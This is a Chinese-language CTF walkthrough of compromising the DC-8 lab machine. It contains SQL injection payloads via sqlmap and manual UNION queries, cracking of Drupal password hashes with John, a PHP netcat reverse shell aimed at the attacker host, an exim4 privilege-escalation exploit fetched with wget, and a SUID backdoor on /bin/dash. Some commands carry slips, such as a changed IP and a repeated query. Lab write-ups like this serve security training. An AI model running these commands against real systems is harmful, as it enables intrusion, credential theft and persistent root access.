靶机:192.168.56.108
攻击机:192.168.56.1
关键字:SQL注入漏洞,John工具,eixm,SUID后门
探索靶机
DC-8 web主页
网页sql注入漏洞
浏览下网页,关注可能出现漏洞的地方
像这种?nid=1的地方很容易出现sql注入漏洞,一般就是注入引号测试。这里回显报错,那估计可以注入了。
狠一点就直接拿去sqlmap处理
查看所有数据库
sqlmap -u "192.168.56.108/?nid=1" --dbs
这里加一个current-db更好,可以查看当前数据库,好做下一步数据爆破。但这里就两个数据库,肯定是d7db了,直接用就是。
sqlmap -u "192.168.56.108/?nid=1" -D d7db --tables
重点关注users表
sqlmap -u "192.168.56.108/?nid=1" -D d7db -T usrs --columns
这里竟然要用字典爆破方式来搜索表,又耗时又不准确。其实这里并没有什么过滤,我们可以使用union注入来获取数据。
手工注入如下:
我这里已经测试过注入数据类型为数字型
爆出users中所有列名
http://192.168.220.156/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
这里手工注入又快又稳,所以工具有的时候并不是那么好用。(也有可能我没用来)
反正我的经验就是在大多数可以union注入上sqlmap表现并不好。
爆出数据
http://192.168.220.156/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
使用John破解密码
这里获取了两个用户密码,开头是$S$这种一般是hash加密。
类似常见的加密方式:其中{加密口令}的格式为 $id$salt$encrypted
id为1时,采用md5算法加密
id为5时,采用SHA256算法加密
id为6时,采用SHA512算法加密
salt为盐值,是对密码进行hash的一个干扰值
encrypted为散列值
如存在/etc/shadow中的密码
对于这类密码,可以使用john工具破解,这个工具的大概原理就是先判断加密方式,然后使用字典通过相同的加密方式后与要破解的字符串对比,比对成功则获取到正确密码。这个方式很考验字典的效率。对于弱密码这种方式的破解效率还是很高的。我就把自己的root密码给破解出来了。
使用默认字典爆破
查看结果
这里只破解出来一个用户,john:turtle
登录网站后台
获取到用户密码了向试试ssh能不能连接上
似乎并不允许,那我们只有用这个帐号登录后台页面试试
向爆破下后台页面,我的dirb这次没有连接错误了,但是变得和dirbbuster一样慢了。
打开admin页面没有权限
打开user页面,这里可以登录帐号。网上看到大佬说drupal的默认后台页面就是user,我们不知道的就只有爆破出来了。
成功登录
获取shell
后台页面有个修改页面的功能,我们然靶机反弹一个shell出来
<?php system(' nc 192.168.56.1 9999 -e /bin/bash ');?>
这个页面对应网站的功能应该为contack us,我们只需要启动这个功能应该就能激活我们的php脚本。在网站的contack us模块下我们简单提交一下
在kali上接收这个shell,顺便就把shell外壳换了
提权
以下都是老规矩了
sudo失败后,我们关注以下其它命令。
发现exim4命令,exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限。
查看exim版本,命令:/usr/sbin/exim4 --version
这种命令或者说是程序容易出现提权漏洞,我们搜索下漏洞库。
可能有点严格,我们把4去掉
突然多一大堆,这里找到最合适的
把漏洞拷贝下来,这里有个很好用的参数-m,可以把漏洞直接copy到当前目录
这个文件有两种利用方式,但是我们要先上传到目标服务器上
为了上传文件,先搭建一个临时服务器,使用python可以快速完成这项工作
python -m http.server 8000
在浏览器上打开验证一波
使用wget命令就可以把文件从kali上下载到靶机上了,按照提权脚本要求我这里是切换到tmp目录下操作的
接下来按照提示输入明命就可以了。
执行脚本时显示权限不够
加权限
再次执行还是报错
主要原因是test.sh是在windows下编辑然后上传到linux系统里执行的。.sh文件的格式为dos格式。而linux只能执行格式为unix格式的脚本。
在vim中修改即可
更多关于这方面的问题可以参考大佬的博客
shell脚本报错:-bash: xxx: /bin/bash^M: bad interpreter: No such file or directory
使用setuid方法获取到一个shell,但并不是root权限
试一下方法2,可以提升到root权限,但不太稳定,看到有个解决方案是在root权限时再反弹一个shell,似乎也没有用
获取flag
虽然权限不稳定,但还是可以获取到flag的
利用SUID后门获取稳定权限
前面虽然获取了ROOT权限,拿到flag,但是并不稳定。
我尝试了在使用不稳定的root权限时创建一个root用户,但是最后发现没法切换到新建的用户上。
这里采用SUID后门可以获取一个稳定的root权限,操作如下:
chmod 4755 /bin/dash,给dash设置suid位,然后普通用户就可以使用root权限来执行/bin/dash了
/bin/dash,这里相当于使用这个shell程序
可以看到我们的euid就是有效用户id变成了root用户
这里的shell是不能通过nc反弹出去的
总结:黑客通过网站的sql注入漏洞,成功爆出网站关键用户的数据,虽然网站对用户的密码做了hash加密,但是仍然可以通过john工具破解一些弱口令密码。然后通过破解出来的用户登录到了网站后台。使用该用户可以编辑网站的功能,在网站的关键页面添加了木马脚本,然后成功连接。因为服务器存在eixm的漏洞,被黑客成功提升到root权限,最后通过suid后门稳定了root权限。